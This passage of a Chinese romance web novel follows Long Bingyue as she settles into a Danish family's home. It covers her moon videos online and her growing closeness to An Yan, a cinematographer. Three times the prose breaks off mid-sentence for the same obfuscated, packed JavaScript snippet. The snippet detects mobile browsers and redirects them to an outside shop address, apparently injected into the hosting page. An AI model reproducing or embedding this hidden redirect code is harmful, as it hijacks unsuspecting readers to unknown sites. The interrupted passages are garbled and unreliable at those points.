龙秉月的目光从米克尔脸上移到安宴脸上,仰着头试图寻找答案。 却很快举起白旗,放弃探究。 这样的一张脸,应当是永垂不朽的吧。她着实想象不出它衰老的模样。 米克尔接过龙秉月手里的行李箱,和安宴一人提着一个,上了二楼。 他对安宴交代道:“你先带龙老师选房间,我下去准备食材。” 然后转向龙秉月:“今晚准备在院子里烧烤,你有没有什么忌口?” “没有没有,我什么都可以吃。” “好嘞,你们收拾好了再下来就好,不着急。” 米克尔雷厉风行地下楼了,安宴指了指三个门,说:“这三间你随便选,想住哪间都行,想换着住也行。” 换着住?算了吧,你家人不嫌弃我还嫌麻烦呢。 龙秉月每进一间房,最先做的都是把窗帘拉上看遮光效果。安宴倚在门口,体贴补充:“窗帘不满意可以换,不用太在意。” “没事,我最喜欢的窗帘刚好在我最喜欢的房间,就它了。” 她中意的也恰好是最小的一间,两米宽的长条形卧室。 担心安宴以为她不好意思,故意选最小的,她又说:“我喜欢这种紧挨窗边,又刚好卡满房间的床。” 而且房间刚好在走廊尽头。 “可这床很小诶,宽度也只有一米二。”安宴提醒。 “那是对你来说!对我来说很大了。”龙秉月撇撇嘴,又拿手在两人之间比划了一下身高差,问他,“话说你身高多少啊?” “193厘米。” “你家人呢?”她想到伊莎贝拉,还有刚才见过的安扬和米克尔都很高,想要了解具体数字,震撼一下自己。 “扬178,伊莎贝拉176,米克尔188。” 哦天,这在人均身高排全球第三的丹麦,也算相当高了。 她根本是小矮人来到巨人国。必须得继续坚持喝奶,搏一搏,163变165,嗯! - 龙秉月选好房间,把行李箱放进来,就直接和安宴下楼了。填饱肚子比了解楼层构造重要。 方才没有细看,这下回到客厅,她才注意到墙上还挂着“HappyBirthday”的装饰。 “咦,最近有人生日吗?” 她问的是旁边的安宴,回答声却从身后传来,语速极快一气呵成:“五天前也就是6月25日是我哥生日26岁生日。” 两人同时扭头,安扬从房间里探出头来,调皮地朝安宴眨了个眼,又把头缩回去了。 6月25日,那不就是冰淇淋日,他一句也没提。 “啊……”龙秉月张了张嘴,迟疑道,“不好意思,我都不知道,没有给你准备礼物。不过我给你家人准备了见面礼,你不嫌弃的话……” “你准备了什么?” “巧克力礼盒。” “巧了,这个家只有我爱吃巧克力,就由我笑纳吧。” 安宴一脸真诚,龙秉月自然相信,并且庆幸在乌龙发生前阻止了它。以后送礼还是不要送食品了…… “那等吃完晚饭,我上楼拿给你。” “谢谢。对了,你生日是什么时候?” “11月2日。”到时候就搬走了,不用担心他们在家准备“惊喜”,实话实说也无妨。 安宴缓缓点头,把日期记在心里。 外面院子里,米克尔已经架起了用来烤串的长条形电烤炉,备好了食材。看到他们过来,他便打开烤炉预热。 见状,安宴又拐回去敲妹妹的房门,叫她准备出来吃饭。 凉爽的天气正是舒适,站在烤炉边只觉温暖而不热,四人各自烤各自想吃的,无需客套谦让。 炙热的烤串配上冰凉的啤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634405|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒,是周五夜晚最好的犒劳。 而酒精同样也是某种开关,以内向闻名的北欧人几杯酒下肚,就变得活泼开朗起来。 “社恐”安扬也不例外。 她拽着安宴的衣袖,凑上去用丹麦语大声挑衅:“你这骗子!我要告发你!你太坏了!” “别把你烤串的油蹭我身上。”安宴一脸嫌弃地把她拉开,“还有,说英语或者中文。” “哼,那我用英语重复一遍……”安扬的声音却越来越小。 “怎么不说了?” “今天天气很不错。” “话题转换真够生硬的。” “不,我是在说,我刚才的话就和天气一样,不用说大家也都明白。” 安宴没有继续跟她斗嘴的心思,龙秉月便接上,发出独生女的羡慕:“你们兄妹关系真好啊。” 安扬瞪大双眼:“他天天欺负我,谁跟他好!你千万别被他的外表蒙蔽……不对,他外表看着也不是好人。” 这下龙秉月也没忍住笑,这笑落在安宴眼里倒成了一种赞许,还想要更多。 米克尔早就习惯了他们的打闹,边吃喝边欣赏着,像在观看固定的茶余饭后节目。 同时还烤好了一串牛肉串和一串青椒肉串,一起递给手里已空空的龙秉月,以自己的方式欢迎住进家里的客人:“来,尝尝我烤串的手艺。” 到最后,酒足饭饱后,天空才刚刚有开始变暗的迹象。 伊莎贝拉也在这时回到家里,吐槽姐妹找她有“重要的事”,竟然是去酒吧帮她侦察她的小男友,结果发现是虚惊一场,她就赶紧功成身退,把空间留给那两个人。 “宝贝,你没有占有欲这么强的伴侣或者追求者吧?”伊莎贝拉讲完故事,突然问龙秉月。 “啊,没有。”龙秉月愣了一下,很快意识到什么,“放心吧,不会有人追到这里的。” 在国内读中学的时候,她爸爸倒还真干过类似的事,收买了学校的几个老师,每周给他汇报自己的动态。幸好他的手伸不到丹麦。 “噢,我不是这个意思。有的话来一个打一个,这种有毒的关系……总之,咱们把男人当玩物就好了,千万别陷进去。” “喂,我还在这儿呢!”米克尔作出惊恐的表情,“原来我竟是玩物。” 伊莎贝拉大笑起来。 大家都跟着笑了起来,在笑声中结束了这顿欢迎晚餐。 安宴带龙秉月参观别墅,给她介绍一楼的厨房、书房、洗衣房,二楼的影音室、健身房等等,最后指了指她卧室对面的房间:“我就住在这里,有事可以找我。” “其他人住一楼吗?” “对的,因为我作息比较阴间,所以就自己住二楼了。但你不用担心,家里隔音一流,不会吵到你的。” “没关系,吵到也不影响,我是那种在中国过年放炮声中都能睡着的人。只是被光照到比较容易醒。”龙秉月说,“哦对了,你等一下,我去拿巧克力。” 巧克力就装在随身背的包里,她很快出来,递给安宴。买的时候没觉得什么,这时候反而有点不好意思,市中心的网红店,希望他不要看不上。 安宴迅速接过,若有所思地看着巧克力,不知道在想些什么。半晌才说:“谢谢,我会好好品尝的。” 不用吧,你随便吃吃就行,犯不着“好好品尝”。龙秉月想。 脱口而出的却是“晚安”。 今天奔波忙碌了一天,收拾公寓,送别朋友,站一下午上课,晚上来到新的环境,和新的人社交。不到十点就已经累趴。 龙秉月早早躺到床上,关上灯,房间陷入漆黑。在新的、陌生的地方的第一夜,难免泛起感伤的情绪。 床略低于窗底,她稍微起身,伸手拨开窗帘一角,看向外面。凸月高悬于夜空,月光皎洁明亮,更衬得此时空旷的庭院冷清。 这里的夜无比安静,几乎只听得到虫鸣声。隔音效果也确实如安宴所说那般好,关上窗户,连虫鸣声也戛然而止。 8. 第八章 自己的名字里带有“月”字,对月亮产生情感寄托是再自然不过的事。 盯着月亮看了一会儿,感伤的情绪渐渐消散。龙秉月打开手机相机,对准月亮,稍微拉近镜头,拍了一个十几秒的视频。 然后发在了国外短视频平台TT上。 初来乍到时,为了跟得上本地流行文化——毕竟是学传媒的,在新媒体当道的今日怎能甘于封闭——她注册了短视频账号,经常研究趋势热点。 第一学期的一门课上,老师还曾布置过一项作业:选择一个平台,从零开始连续十五天发布垂直内容,就自己的内容取向、平台流量、用户反馈等写一篇分析报告。 她最初注册时随手起的昵称是Yue,用户名是@hangthemoon。从字面来看,是悬挂月亮的意思;但如果说一个人hangthemoon,则是指那个人非常棒,两种含义她都很喜欢。 因此,干脆选择了月亮作为账号发布的内容。 不同时间、不同地点、不同形态的月亮。 只要拿起手机,你随时可以“千里共婵娟”。不仅仅能跨越千里的距离,同样也能够跨越时间,跨越文化。 古往今来的月亮素材太多,她又倍感亲切和联结,交上作业后也保持着月更的龟速更新频率,在互联网上悄悄整理着自己的一方精神角落,等待随机来访的客人。 不过,她以前发的都是自己过往拍摄的影像,或者网上找来的无版权限制的档案影像。 今天是她第一次发实时拍摄的月亮。 农历十三日,渐盈凸月,比满月小,又不如弯弯的弦月可爱,在八个月相emoji里排在最后一个。 着实算不上特别。 却是她最喜欢的,满月前的蓄力状态。 这个月里,中文的使用频率较之前大大增加,以至于她上传视频后,下意识加上了中文的话题标签。 意识到不对后,又敏锐地察觉,“凸”字本身不就象征着月亮的形状吗? 龙秉月把视频改成了趣味汉字科普向。 【今天的月亮长得像一个汉字:凸。 #Gibbous在中文里叫作#凸月。】 拍摄的人手很稳,接近圆形的月亮静止在画面中间偏右上的地方,周遭晴朗无云。左下角露出的树梢随风微动,以动衬静,更显月光明亮。 渐渐地,一个手写的Q版“凸”字在月亮上显现,扩散开来,和月的边界融为一体。 - 被闹钟叫醒的时候,龙秉月有点热泪盈眶了。 总算结束了自然光舞在眼前,还拿它没办法的日子。 她拉开窗帘,沐浴着日光伸了个大懒腰——这才是它该起到的作用嘛。 简简单单洗漱后,她来到了健身房,踏上跑步机,迎接久违的健身。 正对着院子正门和外面马路,偶有车辆疾速穿行而过,留下油门的轰鸣声,却无论如何也盖不住清晨的鸟叫声。 她看到米克尔从一楼走进院子,给植物浇水,又在喂鸟器里添满了鸟粮。 不可思议,这么大的房子和院子,毫无佣人存在的痕迹,完全由主人自己打理。若真把这里当成田园,这根本就是理想的退休生活—— 而现实是,她是这幢房子里班味儿最重的人。 哦不,她就是来这里打工的,可不能因为人家对自己太好就得意忘形。 米克尔也看到了她,热情地冲她挥了挥手,又指了指一楼,招呼她等会儿下楼吃早餐。 果然,除了自称作息阴间的安宴外,一家人齐齐整整地坐在餐厅。倒不是有一起吃饭的“家规”,实在是起床时间太过接近又太过规律。 早餐内容也同作息一样健康:黑麦面包配奶酪和果酱,牛奶泡燕麦,蔬果沙拉。都是拿出来就可以吃的,只要没有摆盘的压力。 过了一夜,龙秉月又变得有些拘谨,坐下后试图找话题来驱散紧张:“早上好呀,我们直接吃不用等安宴吗?” 虽然她知道答案。 “不用管他,你基本可以当作这个家里没有那个人。他不是在自己房间就是在影音室,不合群得很。”伊莎贝拉满脸嫌弃,连往面包上抹奶酪的力气都加重了一点,像个恨铁不成钢的母亲。 妹妹和爸爸也跟着吐槽了起来,同仇敌忾,气氛分外和谐。 饭后,餐具扔进洗碗机,清理面包屑的工作交给扫地机器人,解放双手。米克尔穿上休闲西装出门见合作伙伴,女士们留在家里。 龙秉月这才知道米克尔是软件公司CTO,而伊莎贝拉之前是风力发电工程师,现在像风一样追求自由,从工作得到足够多成就感后,离职把更多的时间分给家人和朋友,以及学习中文。 “伊莎贝拉,我们什么时候商量一下家教计划?”龙秉月拦下将要回屋的人。 “家教?”伊莎贝拉的脸上闪过一丝迷茫,“不是随便聊聊天就好了嘛?不用太认真,你现在还有中文学校的暑期工呢。” “那我在这儿蹭住也太不好意思了……” 而且这家里中文母语者含量那么高,伊莎贝拉哪里会缺口语陪练啊!也就是她来之前不知道,还天真地以为她需要。 “不然让我做做饭也行,你知道吗,有种病叫不干活心里不舒坦。” “不然你问问安宴,闲不住的话,去给他的个人拍摄项目搭把手呀。” 两人同时说。 “他不是不爱出门吗?” “你做中餐吗?” 又是同时。 这次龙秉月识趣地闭嘴,等伊莎贝拉先说:“你不要有压力~我只是吃腻了老公做的西式中餐,哈哈。能尝一尝你的新鲜手艺可太好了。” “我们家做饭一向没有规划的,都是谁先饿了谁先进厨房谁做,一起进就一起做。所以你不用太隆重,随意就好。” “没问题。那摄影项目……” 伊莎贝拉上前拉住龙秉月的手:“宝贝,我知道你怎么想的,但你不要这么想。你的首要身份是朋友,明白吗?” “嗯……” 短暂的热闹后,屋里又恢复了寂静。每个人在各自的空间里做着自己的事。 龙秉月回到房间打开TT,发现昨晚发的月亮视频收获了一百多个赞和几条回复,意料之中的冷清,就像那月光。 有趣的是,其中最显眼的两条来自一个占星卖课博主: 【渐盈凸月意味着机遇和专注,不妨尝试着开启新的事业!在爱情中,它象征着纽带的加深,要多多了解彼此的愿望和需求。】 【对月相隐藏的含义感兴趣?欢迎关注我的账号,跟我一起探索夜空的奥秘,更好地认识你自己,创造美好的生活!】 好家伙,打广告打到她这儿来了。你有这毅力你干什么不能成啊,非要卖你那没人买的课。 龙秉月反手把第二条评论删除,对着第一条却迟疑了。 明明知道不是真的,却还是希望它是真的。虚无缥缈,自己脑中都没有确切的形状,却还是希望它存在。 新的机遇。 算了,就当作一个好兆头留在这里吧。 - 龙秉月一直在等安宴起床,想问他拍摄项目的事情。 她开着房门,耳朵时刻聆听着对面的动静。风穿堂而过,轻轻拍打她的肩膀,她不住地随风看过去,映入眼帘的始终是紧闭的门。 下午过了一半,都还没有一点动静。 他这是人在欧洲却过着美国时间吗?? 好夸张。是不是伊莎贝拉看不下去,才逼他每个工作日午后送她去中文学校上课? 龙秉月解锁手机,想发短信问问安宴醒了没。目光落在短信界面的那一刻,忽然想起他打来视频的那个早上。所以那是他还没有睡觉的时间。 而他却能第一时间注意到自己“正在输入”…… 就像此时的她,若能100%第一时间注意到对面的门打开,是因为她的门大开。 不敢多想的自作多情在心间荡开,龙秉月快步走到门口,以迅雷不及掩耳之势把门关上,随后背靠着门,胸口一起一伏,调整着呼吸。 右手还握在门把手上。她想,等会儿随机挑个时间开门,如果对面的门也正好打开,就说明一切皆是巧合。 镇定下来,她打开几厘米宽的门缝,鬼鬼祟祟露出一只眼睛看向对面。 真的就有这么巧。 安宴出来了。 现在她的形象成了躲在门后的偷窥狂。 ……她的大脑一片空白,来不及反应,面对着“在等我?”的惯例询问,也只发出“嗯嗯啊啊”的回应。 “那你再等一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634406|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”安宴说完,又拐回了房间,门没有关。 从她的角度可以窥到房间一隅,目之所及没有看到床、桌等必备家具,想必房间非常大、非常深,外侧才可以显得这么空。 相比之下她的屋子,从门口就可以一览全貌。 安宴很快出来,和刚才没有什么不一样,一身浅色休闲装,倒不似从前那么风骚。 “找我什么事?”他对还保持着相同姿势的龙秉月问,“你这样挤在门里累不累?” “噢噢,我想着等‘一下’很快,就懒得动……”尴尬事件发生,但她总不能说是看对面看到忘了动吧。 龙秉月简单复述了中午和伊莎贝拉的对话,抬头期待地看向安宴。 安宴感受到她的期待,轻笑了一声:“这么爱工作啊?不怕累吗。” “工作多有压力,但不工作吃白饭更有压力的呀。”龙秉月据理力争。 “行,”安宴没像伊莎贝拉那样安慰她,很好说话地答应了,“晚上跟我去公园拍摄吧。” “我需要帮你做什么呢?” “到时候你就知道了。” - 与其说是拍摄项目,不如说是记录生活,或者用那个流行词:vlog。这是龙秉月的理解。 安宴呢,只是简简单单说了一句“用影像留住哥本哈根的夏天。” 没有什么拍摄目的,纯粹源自个人兴趣。开拍前就起好了最终成片的标题:UntilNextSummer,直到下一个夏天。 龙秉月猜,大抵是因为这里夏天太短。等夏天过去,用夏天的影像过冬,是回忆也是展望。 要去的公园离家很近,直线距离一公里。安宴没有开车,而是步行,说路上也能拍点。 但他路上什么都没拍。 一路上,龙秉月都在想,她不像很多本科学新传的同学,修读过新闻摄影、影像技术之类的课,研究生阶段已经没有这种实践课,也不知道她究竟能帮上什么忙。 本以为至少可以当个拎器材的苦力,谁知道安宴就带了一台手持摄影机,不大不重,也不让她拿。 亮堂得以假乱真的晚上,公园里一派繁荣。野餐的,游泳的,已然司空见惯。令她感到新奇的,是有一群人在放风筝。风大的哥本哈根,正是适合,她以前怎么没想到。 “喏,拿着。”安宴把自己的手机给了她,让她随便拍点一两分钟的视频。 “啊?”龙秉月大为不解,“我要拍什么?我这水平,拍了能用吗?” “想拍什么就拍什么。要的就是普通人的视角,朴素自然的不成体系的拍法,不受任何限制的影像。” “好吧,那我其实可以用我的手机……” “用我的,回来导入视频方便。” 龙秉月跟在安宴身后,保持着十几米到几十米的距离,不管他在拍什么,只管不跟丢。毕竟他的手机在她这里,找不到人了不好联系。 不知道拍什么的时候,她就把镜头对准天上的风筝。或者对准安宴摄影机的取景框,来个高糊的画中画。 透过镜头看摆弄镜头的安宴,和平时大不一样。更多的不知道拍什么的时候,她就索性不拍了,把几十米的距离缩到几米,甚至几十厘米,看安宴在拍什么,看他褪去洒脱后的认真模样。 他们一直待到了天彻底变黑,公园里人流几乎散尽,只余三三两两流连的人。 龙秉月把安宴的手机还给他,又拿出自己的手机,问他:“我帮你拍了这么多,你可以也帮我拍个视频吗?” 安宴自然以为要帮她拍她自己,客观提议:“这里光线不好,不适合手机拍人。” “不是拍我,是拍月亮。” 两人一齐抬头,几乎是个满月。 这一刻的月亮,在夜里零点整,上架了@hangthemoon。 【月亮大放价:十五的月亮十六元。 给姐妹们申请到了抄底价,仅限今日,不要错过!】 龙秉月给视频加了英文字幕,简单介绍了“十五的月亮十六圆”的含义,以及如何通过同音字变成了一个梗。 还加了同名的经典中文歌曲作为配乐: “十五的月儿十六圆,要想饮水先挖泉,要想唱歌先对调,要想恋爱可得多交谈……” 要想饮水先挖泉。 9. 第九章 严格来说,视频中并非“十五的月亮”,而是十四的。玩一玩文字游戏,十五发送的就可以算作十五的。 龙秉月没有告诉安宴视频拍来做什么,不是有意隐瞒,而是她掏出手机的那一刻,自己都没有想过要拍来做什么。 动作就那么自然而然,水到渠成。 安宴把镜头对准公园人工湖的湖面。玉盘坠入,破碎成千片万片,分散开又聚拢,不可把握却也不会消失。 在他准备按下停拍时,一只水鸟从上面飞过,爪子点在倒影之上。圆盘变成旋涡,一荡一荡,要把人催眠。 安宴却没有沉迷,也没有下意识让镜头跟随移动的生物,而是向上摇到了空中的月亮——放大,定格,刻意的摇晃制造出波纹感,眩晕中一切戛然而止。 鸟儿朝天空送出一颗滴水的月亮,宛如神迹。 这样的月亮被“明码标价”,宛如笑话。 然而,这时代的人们追求的就是反差感。 第二天下午,龙秉月才想起来看一看视频互动。这次没有带月相的话题,应该不会再引来占星博主了吧…… 啊? 这条,竟然,小爆了。 她发送的时候添加了便宜好物的话题,由于缩略图里有水鸟,热门评论赫然有: 【点进来前以为博主假卖野生动物博眼球,点进来后……我的想象力还是肤浅了。】 【十六元能不能让月球一拳锤爆地球,能的话我立马下单。】 可以,给你拍个月亮灯锤地球仪的视频。 点赞第一的评论更是意想不到: 【背景音乐太洗脑了,我循环了十遍,都没注意你拍了什么。】 这说明什么?只要你杂糅足够多的东西,总有能入别人眼的。 只是她的本意并没有掀起什么水花。中文话题所推送到的用户则寥寥,她只在角落里零星找到几条简短的评论:“有意思的中文”“好梗”等等。 有个人也顺着给前一天的“凸月”视频评论了。 【我正在学中文,汉字真有趣,可以多发点这种吗?】 龙秉月不禁回想起最初选择汉语国际教育专业的动机。 那时候她也是刷到了外国人学中文的视频,出于对传播语言文化的朴素兴趣,进了这个“中文英文两手都要抓、两手都抓不好”的所谓文科天坑专业。 热爱是真的热爱,但大家都说的“兴趣不能变工作”也是真的。高年级的实习和工作消磨了一定热情,二十岁又正是善变的、探索自我的年纪,跨专业读研多么顺理成章。 更别提,不自立自强就要被抓回去继(商)承(业)家(联)业(姻)。 而现在,距离产生美,冷处理一年后,曾经的兴趣又涨回来了。她开始想试试把两个专业结合在一起。这一次,不再当成工作,而是作为业余爱好。 - 听到敲门声时,安宴正在第138796遍看龙秉月零点发的视频。 要不说算法牛逼呢,隔着两个门,当夜就给他推送到了。 “要想恋爱可得多交谈”?好的,没问题。 他打开门,心中所想之人对他说:“我发了你昨晚拍的月亮,好多人喜欢,你看!” 她把手机给他看,脸上是掩饰不住的开心。 他也被这份情绪感染,抑或是单纯因为她来找他而开心。 凑过去,在她手机上又看了第138797遍。 “那我有什么奖励吗?”安宴问。 龙秉月表情一滞:“奖励?” “不要十六元,免费送我个月亮?” “这月亮本来就是你的呀。” “是么。”安宴想,谁能凭爱意将月亮私有,“我可以关注你的账号吗?” “当然。顺便给我做做数据——开玩笑的。” 得到允许后,安宴终于按下了那个十几小时前就想按的按钮,并顺手一键三连,给她“做数据”。 龙秉月当着他的面点进数量还不多的粉丝列表,按关注时间排序,找到了他的账号回关。 实名上网的电影摄影师JensAndersen,粉丝小十万,不多但也不少。 账号界面一眼看过去,不是短视频平台主流的人脸成排,而是摄影技巧、电影拉片、剧组生存指南等硬核内容。 明明靠脸就能红,偏偏要输出内容。 自恋一点来看,这方面两人倒是相似。 “天呐,第一次有了你是名人的实感。”龙秉月感叹道。 “这算什么名人。”安宴笑着问,“不准搜索,只凭印象,你现在能说出几个中国的电影摄影师?” “呃……”她完全卡壳,绞尽脑汁也想不出一个。 导演能说出很多,甚至平面摄影师也能想到几个,可是电影的主创抛开导演,她也就可能对编剧有点印象了。 集体创作,排在后面的署名没多少人在意。从前不曾觉得有什么,如今却想为他打抱不平——先打自己。 见她目光闪烁,像是在寻找尴尬的出口,安宴宽慰道:“别介意,我在凡尔赛呢。” 龙秉月试图找补:“但我说得出一位丹麦新锐电影摄影师的名字,也不算无知吧。” “嗯,特别厉害,你说说。” 他的名字到了嘴边,她却说不出口了。 两个人还站在卧室门外,走廊尽头。她伸手打开窗户,让凉爽的风吹到脸上,也趁机别开视线。 风吹起她披散的长发,每一缕发丝都仿佛勾着安宴的心弦,他忍不住延长谈话的时间:“站着累不累,要不要进屋坐着聊?” 这里最不缺的就是屋子,他没说哪个屋,她下意识以为是他的房间,自然不好意思。 窗户下方是个小池塘,她指了指说:“站在这儿就挺好,我喜欢这里的景色。” 然后她便只盯着池塘,不再看他。话题却没有偏离他:“刚才提到的那个摄影师,你能给我推荐一部他的电影作品吗?” “哪个摄影师?”他明知故问。 龙秉月这下扭过头来,佯装恼怒地瞪他:“你好烦,有的摄影师要因此失去一个潜在粉丝了!” 安宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634407|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出深思的样子:“怎么办,他的作品好像都挺不错的,很难抉择。不然你都看了吧。” “……” 她回怼:“同时开好几个屏幕一起看吗?原来你们这里的电影观念已经这么先锋了。” 他正经起来:“我觉得,观影口味是很私人的事,他人不好随便做推荐。你不妨凭直觉选择,通过电影名或海报。” 龙秉月暗忖,这样选到不喜欢的都怪自己直觉不准,而不是作品不好,是吧。真是计划通。 “影音室的电脑里有他的所有作品,你想去看的时候叫我,我帮你找,还有调试设备。” 他开始为她张罗,她又假意客气道:“诶,算了,我在自己电脑上看看就行。万一我想看的时候你正忙呢,别打扰到了你的正事。” 安宴摆出一个迷之微笑:“不会,我没有什么正事,除了拍电影。”和你。 “拍电影,当然,都是在剧组。在家时欢迎随时骚扰。” “那你什么时候离开家进组?” 她的关注点倒是清奇,这问题问得像是巴不得他赶紧走一样。 “下一部应该要到冬天了,大概十一月初开始下雪的时候。还早。” 她的眼睛眨了眨,十一月初,那不就刚好避开她的生日……不,想什么呢,到时候都搬出去了。 “上一部呢?” “春天杀青的。” 龙秉月的表情凝固住,随即慢慢挂上了羡慕:“太爽了吧,一休假休半年。但你是不是没以前努力了,看你百科资料,平均每年不止两部呢。” “你还看了我的百科?” 一个人的惊喜,到另一个人那里,就成了惊吓—— 完蛋,说漏嘴了,止不住的懊恼开始在心中蔓延。蔓延成羞赧的红晕,在脸上轻轻荡漾,磨得脸颊发烫。 也显得更加可爱。 “想知道什么直接问我,真人百科为你服务。” 她的回答这才迟迟而来:“要住进刚认识的人家里,我当然要查一下嘛……” “嗯,做得很对。”安宴顿了顿又说,“原来被人信任是这样的感觉。头一次这么庆幸我选择了搞创作,有自己的身份。” “这是果,那因呢?你最开始是为什么学电影?” 好奇,她懂得好奇了。不止懂了,这个阀门一旦打开,就很难关上了。面对内在深不可测的人尤其如此。 他就是一本问题连着问题的问题之书,阅读中每一个问题都导向更多的问题,激发着人的探索欲。 她也一样。 起初只是想为视频表达感谢和欣喜,结果一句谢谢说到了晚上。就倚着这窗台,天马行空,从专业选择倒推到过往人生。 撕下曾经贴的标签,去认识一个独立的人。 很多人爱说,只有散步我们才真正聊天。 龙秉月想,不,不是这样的。反过来更准确——只有聊天我们才真正散步。 聊天带着我们在精神的全宇宙散步。从这里到那里,从过去到将来。时与空都取消了限制,只留下坚固的你和我。 10. 第十章 不知不觉就到了晚饭时间。龙秉月和安宴说,她想下楼做饭。安宴说,好啊,一起。 楼下的厨房还没有人进来,她以为是还没到其他人的晚饭时间,安宴却告诉她,他们都出门了。 “我家人都是闲不住的性格,你习惯就好。” “咦,莫非你不是亲生的?”她想起伊莎贝拉说他不爱出门。 “是啊,你记得保密。”安宴凑近她的耳朵,小声说,“这个家就咱们两个是外人,我们要相依为命。” 龙秉月也随之悄声回答:“当然了,我唯一的挚爱的表哥。” 明明屋子里只有他们两人,不会有人听到,却还是鬼鬼祟祟的,像在密谋什么。 经过这两天的相处,她在他面前讲话不再拘束,大胆了许多,越来越喜欢开玩笑。只是此刻依然担心话说过头,抬眼看他的反应。 安宴一手放在打开的冰箱门上,脸庞半明半暗,衬得浅浅的笑意略显诡异。 他点点头没答话,视线转向冰箱,在各种食材上逡巡了一圈,问她:“吃牛排么?” 她主动请缨:“吃!我来煎吧!”这可是她的拿手好活,赶紧趁机秀一下。 他自然不跟她抢:“那我来准备配菜和煮汤。洋葱吃么?” “吃的,我没有任何忌口,任何哦。”只分爱不爱吃,主要取决于东西好不好吃。 “不问问我吗?万一我忌口牛肉?” “……那你就饿着吧,饿几顿就老实了。”龙秉月从他手上抢过冰鲜牛排。真是的,谁家好人忌口牛肉啊。 两人各司其职,并肩在灶台前打配合。他惊讶于她熟练的西餐技法,她惊讶于他慢火熬煮浓汤的耐心。 “你敢相信吗,一年前我还完全不会做饭。”龙秉月一边切牛排,一边解答对方的疑问。 “你敢相信吗,我有一年多没做过饭了。”安宴学着她讲话。 龙秉月舀了一勺他做的法式洋葱汤,含在嘴里细品——这也叫手艺生疏?他绝对是在炫耀。 不过看在是她先开的头,她原谅他了。虽然她的话的隐藏含义是吐槽这里餐馆物价贵,性价比低,不得不动手学做饭。 寄人篱下,她给自己的规定是吃饭上桌不带手机。而这顿只有他们两人,她便破例了,手机就放在眼前。弹出微信消息的时候,她也就随手点开了。 来自五人群聊【一觉睡到大中(5)】。 群友都是上一学年跟她住在同一公寓区的中国留学生,包括喻琳在内。她们经常在公寓里约饭约酒约火锅派对,一起度过了无数夜晚,几乎无话不谈。是时间筛出来的好姐妹。 【喻琳:@龙秉月吃晚饭了吗?请你吃海鲜——】 国内此时正是半夜,她发来海鲜大排档的丰盛夜宵。群里另外两个已经回国的小伙伴也纷纷响应,午夜放毒刺激她,火锅烤肉各地佳肴轮番上阵。 另一个还没回国的郑沛蓝,在环游欧洲,最近玩到了意大利。很快,她也发来佛罗伦萨T骨牛排的照片。 龙秉月面前的牛排一下子被比下去了。明明是大型超市售卖的上等肉眼,这会儿显得像是欧洲沙县小吃。 再看香甜的洋葱汤,入眼的也成了汤的表面漂浮的油脂。 她不甘落后,把前天庭院烧烤的照片发到群里:【房东家的烧烤派对^-^】 引来一堆问号和“什么神仙房东,还缺租客吗”之类的感叹。 无声的笑容在她脸上荡开,对面的男人已经吃完,就这样安静地看着她,不去好奇她开心什么,以免打断了她的快乐。 偌大的餐厅只剩空气在流淌。 直到龙秉月回过神来,赶忙吞咽凉了一半的食物,对面才传来一声“急什么,我又不会不等你。” 安宴背靠在椅子上,双手撑在脑后,闲闲地说。 - TheDays,加了定冠词的特指的日子;TheBalladofAnna,安娜之歌,安娜的故事。 龙秉月看着片名,在安宴担任摄影指导的两部电影长片中选择。几乎毫不犹豫地指向前者。 名字其实是次要,她是看中了播放器缩略图里呈现的蓝色调。再加上,这是他第一部长片作品,更青涩的作品更容易看出性格。 安宴帮她开好投影便离开了,留她一人在影音室观看。 “祝你观影愉快!”他说。 龙秉月缩在柔软的大沙发里,待最后一缕光线从门缝后消失,把腿也抬上来,抱着自己,下巴顶着膝盖看。 没有看过电影简介,除了片名和摄影师一无所知,还不知道自己将会随着电影陷入怎样的情绪。 ——开头,摄影师本人跑了个龙套,饰演被女主角抛弃的前男友。 故事发生在本世纪的法国,二十岁出头的女主虚度着无所事事的日子,对当下的恋爱感到厌倦。一天,她在地铁上见到了气质忧郁的亚洲游客,心想,如果我再在这座城市偶遇他,我就要和他在一起。 果然,按照套路,两人很快再次偶遇,以生疏的英语交谈、散步、接吻、上床一气呵成。第二天,女主就离开了前男友,飞奔向亚洲人的酒店房间。 前男友没多少戏份,二十二岁的安宴也还青涩,却能够在画面中铺满平淡下的悲伤底色,让龙秉月也跟着揪心起来。 他做演员绝对能红,不知怎么,她心里反倒生出庆幸。他没有那么遥不可及。 电影摄影是疏离的冷色调,高噪点,有千禧年的东方质感。热烈的情绪传递出来,竟让她觉得有一丝冷。 